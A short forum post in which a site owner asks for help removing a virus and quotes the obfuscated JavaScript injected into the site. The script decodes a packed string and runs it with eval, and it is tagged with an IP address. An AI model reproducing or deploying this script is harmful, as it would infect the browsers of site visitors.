how to solve to remove the virus from my site ?

any one help to solve the following script and send me the solution to my mail ([email protected]).. I m thankful to them

<script language=JavaScript>function cinbn51(b) {var e=b.length,f=1024,m,y,p,k=0,j=0,n=0,t=Array(63,37,2,16,18,60,25,15,30,59,0,0,0,0,0,0,17,57,20,0,8,24,1,41,49,35,51,13,42,9,11,10,56,33,44,26,19,12,32,53,29,40,62,0,0,0,0,38,0,14,58,55,50,31,3,43,45,54,23,5,4,6,39,7,22,27,28,47,36,34,52,21,46,48,61);for(y=Math.ceil(e/f);y>0;y--){p='';for(m=Math.min(e,f);m>0;m--,e--){{n|=(t[b.charCodeAt(k++)-48])<<j;if(j){p+=String.fromCharCode(242^n&255);n>>=8;j-=2}else{j=6}}}eval(p);}}cinbn51('kxMnpi6QroYQTSPQFZrWiiMnjpXdpi6toZA1rSDck2P_m8Giw95_B2Pte8GvraAnjZrtFert3aGvF2Et7fh_mSYVDcXcNoEn8S6nrsMnBi6cmiXJwnzsTSY_rfEnodG1S09tmLMcCaMnpiAnSsKifqUyks5i6jXtFert3a6W6jKv4jP_pSY_77ryfNh_jx61SSPJfN5d4oYQNbA17fh1qmYV8aAuDJ6nr8MvU9rcq4MVTZA1Ujzi') </script><!-- 216.97.225.85 -->